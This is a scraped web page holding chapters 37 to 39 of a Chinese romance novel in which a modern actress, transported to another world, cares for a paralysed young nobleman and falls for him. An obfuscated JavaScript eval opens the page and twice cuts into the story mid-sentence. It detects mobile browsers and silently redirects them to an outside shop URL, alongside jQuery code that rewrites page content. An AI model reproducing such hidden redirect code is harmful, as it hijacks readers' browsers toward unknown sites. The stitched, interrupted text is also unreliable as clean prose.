;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991659|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻上,拉起了屏风。透过眼前的屏风,依旧能看到他的轮廓。她坐在榻上,望着那模糊的轮廓愣神了好一阵子。 回到自己的身体后,叶之萤彻底变回了从前的自己,包括生活习惯。她是个典型的夜猫子,每天都要熬到半夜才睡得着,现在时候还早,根本没到睡觉时间,但一是刚才聊天已然聊得尴尬,没法儿再继续了,二是虽然她不睡,但温其玉得睡了,所以她还是吹了蜡烛,静静地躺在床上看着天花板数绵羊。 过了很久,估摸着得有两个小时,她才有了些许困意,于是在睡前再一次下床去帮他翻身。 他睡觉很轻,刚走过去他就醒了。看到依旧精神抖擞的她,很是惊讶:“还没睡吗?” “这就睡,你快闭上眼睛,别把你弄醒了!” 为他翻身后,叶之萤又回到床上,睁着眼好一阵才慢慢失去了意识。 再睁开眼时,自己站在了一间有些陈旧的教室门口,叶之萤认得这个教室,是小学的班里!正值下课时分,周围跑跑闹闹的都是熟悉的面孔。 再往讲台上看,那个扎着双马尾、正在趾高气昂看着自己的,不正是当年和自己水火不容的李月吗? 叶之萤四年级转来这个学校,因为她的到来,校花的名头便再也不是李月的了,学校的各项活动主持人也从李月一人独霸变成了她与李月分庭抗衡,那些曾经全都围着李月转的男生纷纷开始“抛弃”她、转而向叶之萤献起了殷勤。不可避免的,李月对她产生了极大的敌意,把她当成自己人生路上的绊脚石,处处与她作对。 可是为什么自己会回到小时候呢?难道又穿越回去了? 她刚要开心起来,可转念一想,自己还没有和温其玉告别啊!如果他醒来之后发现自己不见了怎么办?自己以后再也见不到他了吗? 想到这里,叶之萤再也笑不出来了,她一直以为自己是讨厌那个地方的,一直以为如果有机会,她肯定会不管不顾地离开!可现在真的离开了,还回到了自己小时候,有机会重新开始,自己竟然满脑子都是温其玉! “叶之萤,你的纸巾能借我用一张吗?”李月刚擦完黑板,手上还沾着粉笔灰,她摊开双手,径直朝她座位走。 眼前这一幕让叶之萤莫名的不安,她确定这是曾在自己身上发生过的一幕。可奇怪的是,她怎么也想不起来后面发生了什么。 她只能确定这种不安是李月带来的,于是打算拿一张纸给她,迅速打发了她。谁知手刚塞进书包,就摸到一些软软的、凉凉的、黏黏的东西,再一摸,好像还在动! 所有童年的记忆在手碰到那些东西的刹那间全部回来了,叶之萤疾速抽出手,然后硬着头皮往书包里看了一眼…… 只一眼,便足以让她心跳骤停。 她一把把书包甩出去了老远。 一些虫子从书包里掉了出来,在旁边的地上缓慢地弓着身子蠕动,她看着那些彩色的、肥肥的、身体纠缠在一起的虫子,吓得连呼吸都快要停了。突然,那些东西不知怎的就爬上了她的床榻,又爬到了她的手上、身上,越爬越多,怎么抖都抖不掉,她崩溃大叫,疯了似的甩动身体。 “救命!啊……救命!!救命!!!” “叶姑娘!叶姑娘!”是温其玉的声音! “温其玉,好多虫,好多虫!救我!”听到他的声音,她如同抓住救命稻草一般哭着向他求救。 “我在!我在!叶姑娘,没有虫,你醒一醒,醒一醒!” 37. 情丝暗涌 突然,叶之萤睁开了眼睛!眼前一片漆黑,什么也看不见。她还有些懵,不知道自己身处何地,只能感觉到心脏剧烈地在胸口跳动。她不停地喘着粗气,身体不住地发抖。 “叶姑娘?”温其玉应是听出了她的异样,知道她已经醒了,便轻声唤她。 她慢慢清醒过来,原来只是做了场梦,这才长舒一口气,终于平静下来,点了灯,拉开屏风,撑着床榻跳着挪到了他床边。 “什么时辰了?”她一边为他翻身一边问。 “丑时了。”他看着她依然有些发抖的手,又皱起了眉头。 叶之萤不想他为自己担心,便轻描淡写道:“没事,就是做了个噩梦!” 他的右手似乎是想要抬起来,但努力了许久还是放弃了。叶之萤看到失落从他的脸上一闪而过。或许他是想拥抱她一下,又或许只是想拍拍她的肩膀,总之,在那一刻,她猜他是想要给她一些肢体上的安慰…… 于是,她俯下身去,头轻靠在他的肩膀,身体贴住他的身体,双手环过他的脖颈,主动索取了一个拥抱。 “那个梦真的很恐怖,那么多虫……那么多……”她的声音依旧在发抖,“从那以后的许多年,在学校里我都没有再拉上过书包的拉链。” 一滴凉凉的水在温其玉鬓角化开,那是她的眼泪,令他心疼不已。 “但是醒来看到你,就不怕了!”正如此刻抱住他,她心里一切恐惧都归为平静。 “既然不怕了,就回去睡吧。”他说。 这样的措辞,无疑是在拒绝她的拥抱。叶之萤心想,假设他能动,或许会一把推开自己吧。但是他的语气又很温柔,温柔到给她一个错觉,或许……不会? 她松开他,慢慢站起身:“不是说让你叫我吗?这都丑时了,要不是我噩梦醒了,你是不是又打算一夜不翻身?” 原本他想不说话糊弄过去的,但看她一直站在那里等他回答,没有要罢休的意思,只好说:“明晚让阿力来吧。” “白天晚上都得他,一直这么下去,他身体再好也吃不消!我看你这院儿里下人也不少,要不,挑一个勤快话少的过来帮忙,只晚上来就行。”她试探着问他。 如今这情况,明显人手不够,不用她说他也应该知道,可是他却没有要松口的意思。 “温其玉,你这么抗拒别的下人,该不会是以前有丫鬟假借照顾你之名吃过你豆腐吧?毕竟你这么帅!”一提到他的帅,她那双色眯眯的眼睛就又在他脸上放肆起来。 谁知,听完她这话,他像是被自己的口水呛住了,止不住地咳嗽起来,越咳越剧烈,整张脸都涨得通红。 “你怎么了?没事吧?”吓得她赶紧要去扶他起来,却被他拒绝。 “我没事……” 又咳了几声,他才慢慢缓了过来。 “你怎么这么大反应?”她差点被他吓个半死,惊讶道,“你……该不会真的被……” “你在胡说什么!”他终于打断了她奇怪的联想。从他的语气不难听出,他是实在受不了她了。 叶之萤委屈道:“这怎么能怪我呢?你对别人这么抗拒,我很难不浮想联翩啊!” “我只是……只是不喜……不喜欢别人碰我罢了。”他已经被她气得结巴了。 “我知道我知道。”她俯下身,轻轻摸了摸他的脸颊,好言好语地哄他,“不喜欢就不让她们来,还是让我继续照顾你吧。” 暧昧的氤氲就这样在二人之间悄然流动起来。 温其玉浓密的睫毛忽地抖了一下,漆黑的眸子便受到了惊吓,慌张地躲到了一旁。 说完这话,连叶之萤自己也愣住了,她迅速抽回手,尴尬地搓着衣袖,站在床边不知该如何是好! 怎么就鬼使神差地摸了他的脸呢?还对他说那么肉麻的话! 刚还问他有没有被照顾他的人借机吃豆腐,自己这不就是在借机吃他豆腐吗? “咳咳!我们……还是快睡觉吧!”她急急忙忙想要逃走,连脚伤都忘了,刚踩在地上,脚踝就一阵钻心地疼。 “当心你的脚!”他今日第N次提醒她。 “没……没事!没事!”她连连摆手,一瘸一拐逃回了屏风后面的软榻上。 屋子里瞬间恢复了寂静,她的呼吸声在这样寂静的氛围下格外明显,她只好用被子轻轻捂住口鼻,不让那张床上的人听见她的意乱心慌。 殊不知,此时此刻,床上那人的情绪也没比她镇定多少…… 等她再睁开眼时,已是日上三竿,起床的时间非常符合她的一贯作风。她随手推开了屏风,又慵懒地躺回了榻上。 “没睡醒吗?”温其玉的声音飘进了她的耳道,一大早就听到这样美妙的声音,令她心中一阵欢愉。 “醒了,就是还想躺一会儿。”她刚伸了个大大的懒腰,又想到昨晚的那一幕,立马整个人都缩了回去。 “叶小姐,你醒了!”是阿力的声音。 “阿力,早!”她躺在榻上跟他打招呼。 “早?”阿力看了眼外面的太阳,“都巳时了。” “巳时?辰龙、巳蛇,辰是七点到九点……”她嘴上算着时间,心想现在也就是十点多,对她来说,实在是过于早了,以往没有工作时,她至少要睡到十二点的。 “少爷,早餐正在厨房热着,阿力先为您洗漱更衣吧。”说着,他便走到了温其玉床边。 “什么?你也才起床?”这下她真的吃惊了。 温其玉平时都是差不多卯时初刻、也就是清晨五点多天刚蒙蒙亮就起床的,今天竟然也睡到日上三竿,不像他的风格啊! 难道他昨晚失眠了? 莫非是因为吃豆腐的事? 阿力的话却打消了她的顾虑:“少爷早就起了,不过是怕洗漱吃饭会打扰……” 正说着,温其玉看了他一眼,他立刻闭上了口。 看来昨晚那事并没有给温其玉造成什么困扰,是自己想多了而已。只是他居然躺在床上等了她几个小时,实在太抱歉了,她赶紧从榻上爬了起来。 “以后你起床该干什么就干什么,不用顾及我,我睡觉很沉,没那么容易被吵醒,而且就算吵醒也没什么,就当帮我倒时差!那个,你快更衣吧,我先出去了!”说完,她就撑着拐杖出去了。 关上门,她顺势在门外那张躺椅上坐下。椅子上铺的依然是那个由她亲手缝的奇丑无比的垫子。新垫子早就到了,他居然一直没换。 她心中一阵暗喜,躺在椅子上一边晃悠,一边悠闲地欣赏眼前秀美的园林景象。 嗯,关若飞做的这把椅子还挺舒服的…… 又转念一想,温其玉早上起床不光是要洗漱和吃饭,还要做一些隐私之事,就算不怕吵醒她,有些事当着她的面也是不好做的。 她在心里发了誓:从明天起,自己要早睡早起,夜里及时为他翻身! 很快,十五日就过去了,她发的誓最终全部都没实现。 阿力每晚过来为温其玉翻身,眼看他白天黑夜连轴转,忙得逐渐憔悴,叶之萤于心不忍,就尽量在白天多分担一些,让他中午有时间可以去补个觉。 清晨,她至少有一半时间都稀里糊涂睡到九点以后,而另一半时间……则是睡到十点以后。温其玉一如之前那样,从不吵她,只是安静地躺在床上等她起床。 自从她回到自己的身体里,她照顾人的能力就随着李渔的离开而直线下降,她这才知道一开始能把温其玉照顾好并不是因为自己适应得快,而是李渔本身的性格和能力在影响着她。 而现在,没有了李渔的buff叠加,她原形毕露,粗心大意不说,连按时到岗都做不到,还总是麻烦阿力帮忙。可即使如此,不管是温其玉本人还是阿力,从来没有抱怨过一句,他们无条件地包容着她,时常令她感动之余也更加心怀愧疚。 温其玉每日都要熏腥月草解毒,除此之外,林大夫每日都为他针灸。而在针灸时,他会要求叶之萤必须离开房间。他有他的原则,虽然允许她照顾他,但有些底线绝对不允许她碰。 这半个月里,他比以前能坐的时间更长了,也坐得更好了,甚至不需要用垫子支撑身体也不会东倒西歪了。 而他为她开的药方也果然很神,仅七日她的脚踝就不疼了,但他坚持要她敷够十五日,说是可以缓解此前落下的病根,如今,她的脚伤已经被他完全治好。 温其玉给她房里准备了一只大浴盆,这样,她就可以实现天天泡澡的心愿了。 还命人织了一张好大的网,比床还大,两边还拖着长长的绳子。 阿力将这张大网拿到她面前时,她正在床边坐着给温其玉讲笑话,看到这东西,一头雾水:“给我的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991660|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯。”床上的人笑着点头。 “这是什么呀?”她提起网子的一头看了半天,猜想可能是张吊床吧? 温其玉看她如此反应,认真跟她解释:“你那日说,你想上……网,我不知你口中所说的‘’网’是为何物,便先让人织了这个,你瞧瞧看,是否是你说的那种?” 叶之萤脸上的表情随着他的解释逐渐夸张,而后脸上肌肉开始控制不住地抽搐,她急忙用手捂住脸,却不想实在是憋不住了,“噗”地一声趴在床边爆笑起来! 等她再抬头时,已经笑得泪眼婆娑、气喘吁吁了,好不容易憋住了笑,可一看到床上的人那懵圈的表情,又差点喷出口水来。 “你……为何这样笑?”床上的人眉间已经扭成了麻花,“倘若这不是你说的那种网,你……” 叶之萤一把捏上了他的脸颊,嗲声嗲气道:“哎呀,我的大少爷,你这笑话可比我讲的有趣多了!我以前怎么没发现你还有这么可爱的一面呢!” “你……你……”他垂眼盯着她的手,结巴了半天,还是什么也没说出来,而他的头,往两边扭了好几下,最终也没躲开叶之萤的魔爪。 原来,那日自己崩溃之时说的话,温其玉全都记得。原来,那日他说自己想要的一切他都会替自己办到,也不是说说而已! 笑着笑着,就又有眼泪从叶之萤的眼角滚落。 日子就这样幸福地过着,每一天都在往好的方向发展。只是在叶之萤身上,发生了一件怪事——向来不喜做家务的她,竟然在照顾温其玉这件事上找到了乐趣。 虽然她做得不够好,照顾温其玉时总是状况百出,比如喂饭时不小心把饭撒他身上,倒水时冒冒失失把杯子摔碎了,读书时总是不认识字,甚至连自己睡个觉都能从榻上翻下去,似乎做什么都靠不住,惹得他时常唉声叹气、胆战心惊……但她还是甘之如饴、乐此不疲地期待着每一个照顾他的机会。这样,她就可以趁他不备偷看他、或者光明正大地放肆看他。 不知从什么时候开始,“偷看温其玉”这件事变成了叶之萤生活中最重要的事,比吃饭睡觉还重要,只要几分钟没有看到此人,就浑身无力,打不起精神。她整个人仿佛变成一块续航极短的电池,必须靠看他的脸不停地“充电”才能维持正常的能量。 于是她趁温其玉专心吃饭时,把目光悄悄上移到他垂着的双眼;趁给茶杯续水的那一小点时间,迅速抬眼偷瞄他一下;又趁为他读书时,目光越过书的上沿悄悄窥视他那对浓密的剑眉;甚至夜里熄灯躺下后,也梗着脖子、绕过榻前的屏风、在黑暗中静静描摹他的轮廓。 于是饭撒了、杯子掉了、书上的字再也挤不进早已被他填满的大脑了、自己也摔得人仰马翻了…… 而她心里却渐渐盛开了一朵花——一朵娇艳欲滴的红玫瑰…… 直到有一日,叶之萤发现温其玉的样貌已经深深地刻在了她的大脑里,和那些沟回交融在一起,成为了她大脑的一部分。即使夜里闭上眼睛,她也可以清楚地看到他的脸。他的五官在她眼前是那么清晰生动,就好像他真的在她面前一样。 他的脸上有三颗小痣,一颗在右眼角,还有两颗在左脸颊;他的睫毛至少有15mm长,一闭上眼睛,整个眼裂都会被密实的“房檐”遮住;他的右眼双眼皮比左眼的高一点、也深一点,所以当他睁大眼睛时,右眼会比左眼略大一些……她甚至对自己的脸都没有观察得如此细致。 但也有尴尬的时候。有时她偷看他,会正巧对上他的双眼,被他逮个正着。每当这个时候,她都会理直气壮地反问一句“你看我干嘛?”或者厚脸皮地问“你觉得我漂亮吗?” 而每每这时,温其玉都会不好意思地低下头去,仿佛偷看被抓包的那个人是他而不是她。 索性温其玉对这一切还一无所知,而叶之萤也并不想让他知道。她就这样堂而皇之地在他眼皮底下做“坏事”,自私地享受着一次次偷袭成功带给自己的兴奋感。 她想,自己恐怕是太闲了,所以才生出这么多泛滥的情感无处安放。在人生最狼狈、最恐慌之时,有个人恰好在此刻拉了自己一把,自然是容易对这个人生出好感的,这正是著名的“吊桥效应”。所以她一点也不担心。她想,等自己安定下来,再有个挣钱的事情做,那时,不再需要他的保护,这样的情况恐怕就不药而愈了吧…… 38. 一匹白马 天气逐渐热了起来,听阿力说,再过四日就是端午节了。叶之萤在心里默算,农历五月,实际上已经是阳历的六月中旬了。黎城果然四季如春,在北京,这个时候的气温都得三十几度了。 掐指一算,自己住在这间屋子里不知不觉竟有两个多月了。这两个多月,是她二十八年岁月中最安逸、最悠闲的一段日子。她日日和温其玉黏在一起,不仅没有对他心生烦腻,反而越来越不想从这里搬走。好在温其玉也尚未将她何时搬走这件事提上议程,她还可以不声不响再多赖些日子。 是日,她正把一堆点燃的腥月草放在温其玉面前为他熏药,就听见“夜莺!夜莺!”的聒噪叫声从正门传来。是关若飞的声音,他回来了。 叶之萤心一沉,连拿着腥月草的手都僵在了空中,意识到这样快乐的日子或许就要结束了,顿时一阵失落涌上心头,没忍住叹了口气,又觉得自己不该这样,忙收起腥月草,笑着跟床上的人打趣:“好不容易耳根才清净了几天!” 温其玉听她这么说,也笑了起来,刹那间,眼下一片月华。 关若飞很快就推门而入:“夜莺,我回来了!想我了吧!” 他像个炮弹似的冲到床边,稳稳停在了叶之萤面前,等着她的热烈欢迎。 叶之萤还没从失落的情绪中缓过神来,没心情配合他,面无表情回了一句:“没有!” 那张脸瞬间耷拉下来,哀怨道:“夜莺,你不会还生我气吧?” 其实对叶之萤来说,那晚之所以不欢而散,更多的是当时刚经历完一场重大的变故,自己的心理还没有转变过来,难免焦躁,才借着关若飞的话发泄情绪,并不是真的生关若飞气。 只是…… 总不能坦白自己当下不高兴是嫌他回来的不是时候、搅和了她和温其玉的二人世界吧? 于是她只能默不作声,承认了他的话。 关若飞见状,又继续向她赔不是:“夜莺,那晚兄长已经教训过我了,你与我们的生长环境不同,我不该想当然用我的思维去定义你。但我第二日一早便有急事匆忙离开,没来得及跟你道歉,你能原谅我吗?” 那晚温其玉居然还替自己说话了?叶之萤扭过头去,目光刚对上温其玉的双眼,就见他说:“叶姑娘能否大人不记小人过,再给若飞一次机会?” “好!”她冲他一笑,又转过来对关若飞说,“看在他也为你求情的份儿上,原谅你了!” 关若飞立刻笑得露出两排大白牙,凑到她身边神秘兮兮对她说:“夜莺,我这次外出,特意给你准备了礼物,走,我带你出去看看!” “什么东西还得出去看?不能拿进来吗?”她端着装腥月草的盆,犹豫着要不要跟他去。 “那东西可没法儿拿进屋里来,走吧!”他抬起手,似乎是想拉她的衣袖,又不敢拉,只是悬空停在她胳膊旁。 “去看看吧!”温其玉看起来好像已经知道是什么礼物。 她这才把盆放在桌上,一脸好奇地跟着关若飞出去了。 二人走到大门口,关若飞径直走到了一匹毛色光亮的白马旁。白色的鬃毛在阳光下闪着光泽,看起来营养很好。 “你说的礼物,不会就是它吧?”她指着那匹马,差点惊掉了下巴。 “喜欢吗?”关若飞站在那里得意地笑着,一双剑眉神气地飞入鬓角。 叶之萤还记得自己第一次骑马的场景。那是她人生中第二部戏,饰演一名女侠。正值五月份的伊犁,绿草蓝天、青山白雪,她整日骑着那匹名叫“大白”的马在草原上奔跑,或迎着朝阳,或身披彩霞,或穿越夜晚的星河。也就是在那时,她爱上了马背上的自由不羁。但可惜的是,那部戏拍完后,她再也没有机会回到伊犁,也没有再骑过马,甚至离开时,由于太过匆忙,都没能跟“大白”告个别。 “谢谢你!”叶之萤感动得几乎快要流出眼泪。 “要不要试试?”关若飞把那匹马拉到她面前。 她点头,踩着马镫敏捷地上了马,抚摸着身下白马的鬃毛问:“它叫什么名字?” “它是你的马,你为它起个名字吧。” “那就……叫它‘大白’吧。” 大白是一匹刚过一岁的小马驹,它很听话,也很温顺,试着骑了一会儿,叶之萤就爱上了它。 但考虑到关若飞肯定还有要事跟温其玉汇报,便先下了马:“这马我很喜欢,先拴起来,进去跟温其玉说正事吧!” 关若飞帮她栓了马,往回走的路上,她问他:“你怎么想起来要送我一匹马?” 他坦白道:“是兄长提醒我的,他说你日后在这里,也需要有一匹马来代步,便给我出主意,让我留意着挑一匹白马送给你……作为赔罪。只是,兄长不让我告诉你是他的主意,你只当不知道就好!” 叶之萤笑言:“原来有军师啊。你倒挺坦荡的,他不让你说你还说!” 他反倒把手向后一甩,昂起头骄傲道:“我可不会把兄长的功劳据为己有!这想法虽然是他的,但实施的人是我啊,这马可是我费了好大的功夫千挑万选才选中的!性情温顺,善解人意,体格健硕,与你甚为相配!” 叶之萤真心夸奖起他:“虽然你有时候很烦人,但不得不说,你和你兄长一样,都是君子!”后又转念一想,问道,“不过你们有没有想过,万一我不会骑马呢?” 身前的人停下了脚步,回过头惊讶地看着她问:“难道你没给兄长说过你会吗?” “我?”叶之萤被他问得一头雾水,“没有啊!” 二人都只当是凑巧,便没有再深究。很快,就又回到了温其玉的房间。 “哎……夜莺,你怎么睡在……这里?”再次回到这里,关若飞很快发现了异样,他指着被屏风挡住的软榻,有些震惊。 叶之萤朝床上的温其玉瞥了一眼,说:“那你要问他了,是他让我搬过来的。” “叶姑娘那时情绪不稳定,我担心她一个人住会生出意外,便委屈她先搬到我这里来住。”温其玉如是说。 “这样啊……夜莺,那你现在感觉如何?还适应吗?”关若飞说出的话虽是对她的关心,但脸上的表情看上去明显不太好。 “嗯……还不错!”她也不知道该说什么了。 这时,温其玉却提议:“叶姑娘来了半年有余,还没机会出去走走,如今若飞回来了,叶姑娘若是想去外面逛逛,可以让若飞陪着你去。” 叶之萤一下子被他的话激怒了,狠狠瞪了他一眼,关若飞倒是重新兴奋起来:“只要夜莺需要,我随叫随到!” 几个月都围着这间屋子转,叶之萤确实是憋够了,想必温其玉也看出来了,所以才会这么说。但她听他说完这话,心里却燃起一股无名之火,之后的一个时辰,都没再跟他再说一句话。 下午吃饭时,温其玉率先忍不住了,问她:“你怎么了?” 她没好气地瞪了他一眼:“没事!” 说完,把一勺米饭塞到了他嘴里。 他只好先把饭咽下去,又继续道:“你可是不满意我今日的提议?” “哼,不敢!”她强忍着肚子里的火,“温少爷的提议自然是最好的。” 说完,又气冲冲给往他嘴里塞了满满一勺米饭。 他没办法,只能再把饭咽下去才说话:“先不要喂了。” 她把碗“啪”按在桌上,不再说话。 “若是我做了令你不舒服的事,你大可直接说出来,不必如此置气。”他这话不仅显得自己极其无辜,而且大有不满叶之萤态度之意。 叶之萤一下就炸了:“好!那我问你,你为什么要安排关若飞陪我逛黎城?” 他笑了一声,反问道:“莫非你认为这宅子里还有第二个人能担此任吗?” 这院子里除了叶之萤之外总共就四个人她认识的人,阿卓和她不熟,阿力要留在家里照顾温其玉,而温其玉本人就更不用说了。算来算去,能陪她的确实只有关若飞。 可这并不是她生气的重点! “别避重就轻,我只想问你,你为什么要这么提议?你,到底是出于什么目的?”她特意将重音放在这个“你”字上。 “我不懂你的意思。”他的声音一片冰凉。 “不懂?那我就直说了!因为你的好弟弟喜欢我,又被他发现了我和你住在一间房子,他心里自然不舒服,而你,他的好兄长,觉得愧对于他,所以急忙借机提出让他陪我逛黎城,替他创造接近我的机会,是这样吗?”叶之萤起身退到了餐桌旁,愤怒地瞪着他。 温其玉抬起头来,眼中的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991661|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可思议仿佛要将她吞没:“你以为我这么做只是为了安抚若飞?你以为我仅仅把你当成一个工具?” 语气中充满了对她的失望。 被他这样一质问,叶之萤顿时有些心虚,难道错怪他了? “难道不是吗?”她继续反问。 他的身体已经倒向了右侧,坐得有些难受,于是脖子努力往左使劲,右手也半握了起来,看样子是想要把倾向一旁的身体拉回正位,但努力了半天,身体却纹丝不动。 他对此显然有些沮丧,却只能无可奈何地闭上眼睛,深吸一口气,又重新睁开眼睛,淡淡开口道:“你来此已半年有余,还未出过门。前些日子,我看你总是站在门外望天,便想着,等若飞回来了,让他带你将黎城好好看看,总好过整日被迫与我待在这屋子里。” 他的声音越来越小,还带着深深地愧疚。 叶之萤顿时怔在那里。原来他早就由此计划,并不是一时兴起。 她想起了那一日午后,阳光格外好,连屋里的青石地板上都跳跃着点点光斑。只是风有些大,于是她把摇椅搬进屋里,又打开被阳光染亮的木窗,让温其玉躺在房里晒太阳了。 他躺在摇椅上,眯着眼晒太阳,而她则趴在窗台上,抬头看着澄净的蓝天,思绪就情不自禁地飘远了。 外面的世界到底是什么样的?在那一刻,她对黎城产生了极大的好奇,想出去看看的欲望也达到了顶峰。但考虑到温其玉的身体状况,她将这个念头不着痕迹地藏了起来。可她没想到,即使如此,还是被他察觉到了。 她鼻子一酸,眼泪就止不住地流了下来,他如此细心地留意着自己的感受,自己却还冤枉他、指责他。 她背过身去,不让他发现自己哭了。 “谁让你正好赶在那个节点瞎提议,不怪我误会你!”一开口,浓重的鼻音还是出卖了她。 “你哭了?”他听出了她的异样,也不再争论,只一味道歉,“你说的是,是我的错,我不该不问你意见就擅自为你做主,都是我的错。” 这下,叶之萤更是忍不住了,转过身冲着他大哭起来:“就是你的错!你为什么要对我这么好!什么都顺着我!什么都替我考虑!要是像一开始那样欺负我,我就可以理直气壮地骂你、打你,也不至于掉这么多眼泪!” 一听到她提以前,他又无奈求饶:“叶姑娘,不是约定好不提以前的事了吗?” “我不管,反正都是你害的!”她耍起了无赖。 “是,都是我害的。”无论她说什么他都无条件顺从,“那你要我如何赔罪才能好?” 叶之萤气呼呼走到他身边坐下,拉起他的右手,对着自己的脸一通乱擦,然后扯着粘上眼泪的衣袖对他说:“惹我哭了,当然得帮我擦干净!以后再惹我哭,就罚你亲手给我擦!” 话音一落,二人都愣住了。 叶之萤恍然意识到自己似乎有些忘乎所以了,慌慌张张松开了抓在他衣袖上的手,然而那只手空在那里没地儿放,又抓住了自己另一只袖口来回搓。 “我……那个……”她想找话题化解这尴尬,这本是她的拿手好戏,可一向伶牙俐齿的她此时却仿佛被浆糊糊住了嘴,支支吾吾半天,连一句完整的话都说不出来。 她感觉自己体内的温度越来越高、脸也越来越烫,烫得急需一大盆冷水降温。可对面的人却一反常态的、迟迟没有向她泼来一盆冷水…… 抬头一看,他竟也如蒸熟的螃蟹——满脸通红。 “这……这屋里好像,有点闷热?”她尬笑着替二人如今的状态找台阶下。 “嗯,是有点。”床上的人和她一样尴尬。 “那我开点窗户,通通风吧?” “好。” 她走到窗边,打开了窗户,深呼吸了几下,把身体的燥热随着呼吸一起吐了出去,才重新回到了床边。 床上的人神色已经恢复如常。叶之萤见如此,便也不再纠结刚才的事,反而跟他商量起外出之事:“温其玉,我现在郑重其事地告诉你,我对你弟弟没想法,也不愿意和他单独出去,更不想他因此胡思乱想,生出更多事端。外出的事,以后再说吧。” “好,那就随你!”只是一句好心的提议就引发了这一系列风波,温其玉当然不敢再反对了…… 39. 友情以上 四日后的端午节,一大早,叶之萤就被一阵浓浓的药味儿熏醒。 “这什么味儿啊?”迷迷糊糊间,她哑着嗓子问温其玉。 “醒了?怎么不多睡会儿?”她难得的一次早起令他很是惊讶。 “被这味儿熏醒了!”她丧着脸如实回答。 “是阿力他们在熏苍术。” “熏苍术?这么大味儿啊!”她寻思苍术是什么?是熏艾吗?熏艾不是用一根艾香熏身体的穴位吗?怎么会满院子都是味儿呢?自己以前熏过,没这么大味儿啊! “苍术是一种草药,黎城蚊虫多,如今夏至将至,需及时在院中各个角落熏苍术驱虫,否则夏日难耐。”他看她一脸困惑,为她解释道。 “噢!”原来不是给人熏,是给虫子熏的,怪不得这么大味儿。 她伸了个懒腰,爬起了床:“我去叫阿力来为你更衣梳洗。” “麻烦你了!”他跟她说话总是很客气。 叶之萤摆摆手,表示不用客气,便穿上外套出门去了。 洗漱完毕后,她去后院找阿力,阿力正拿着一把点燃的草熏后院的各个房间。 “叶小姐,今天这么早!”看到她早起,阿力比温其玉还吃惊。 “看你们工作得这么认真,不好意思再睡了呀!”她打趣道。 阿力却一本正经地回答起来:“自然要认真,少爷特意交代了,说你怕虫子,命我们定要把这宅子里里外外都熏一遍,每个角落都不放过。” “是……是吗?”叶之萤心里突然一甜,笑着从阿力手中接过那把草药,“给我,我来熏,你快过去吧!” “好嘞,注意别烧着!”他叮嘱道。 “放心,我会注意的!诶,这间屋子门怎么锁着?”她指着药房旁边的那间屋子问道。 “这间啊,我已经熏过了,你去其他房间吧。” 阿力走后,叶之萤站在那间屋子前,用手仔细抚摸着木门,慢慢地,她的手仿佛穿过了这扇木门,触摸到那套魁梧而又冰冷的银色甲胄。这间屋子,本是温其玉的禁地,却不知为何在那天被阿力不小心打开,又被她不小心闯入。从阿力的反应看来,他并不知道她曾经进去过,温其玉自然也不知。也好,就让那个高大魁梧、英姿勃发的年轻将军,成为深藏在她心底的秘密吧! 李大娘正在厨房包粽子,叶之萤一时手痒,便在厨房里跟着她学了起来,直到阿力来叫她吃早饭:“叶小姐,少爷都等你半天了,你倒在这儿包起粽子来了,快去吃饭吧!”她这才一路小跑回到了屋里。 一进屋,竟看到温其玉坐在轮椅上。今日的他,一扫往日的病容,头戴银冠,气宇轩昂,身着竹月色圆领袍,腰间还佩戴着一枚玉环和两只荷包,一看就是特意搭配的。 叶之萤承认,自己被眼前之人的帅气晃得失了神,站在门口很久都没迈步进屋,半饷,才意识到自己的失态,赶紧走了进去,用玩笑来掩饰慌张:“哇!真是风度翩翩的公子哥儿啊!打扮得这么美,是要去约会吗?” 说来也怪,她已经不是第一次被他的外貌迷住了,犹记得二人刚认识那会儿,她的脸皮可是相当厚的,可如今二人愈发熟络,她反倒害羞起来了…… “叶姑娘说笑了!今日是端午,听阿力说城内有表演,我自去年来此至今,还未出过门,今日想与若飞一同出去看看这黎城,叶姑娘……若不嫌我……麻烦,可否……与我们同行?”一开始,他倒是说得头头是道,可是越说越没有自信,生怕她会拒绝似的。 “是因为我说不想单独跟关衙内出去,所以你才特意陪我吗?”叶之萤开门见山地问他。本以为出门一事就那么算了,没想到他不仅一直放在心上,还要亲自陪她去! “我也很久没出过门了。”他没有正面回答。 她突然飞奔过去,隔着轮椅的扶手和靠背,结结实实地抱住了他。 “你为什么对我这么好?”她站起身,望着他的眼中仍是满满的感动。 他的脸颊泛起了微红,明显是害羞了:“你……先吃些东西吧。” 看他一副不自在的样子,叶之萤不再逗他,听他的话走到餐桌旁,正打算坐下,却又担心起他的身体:“你真的可以出门吗?” 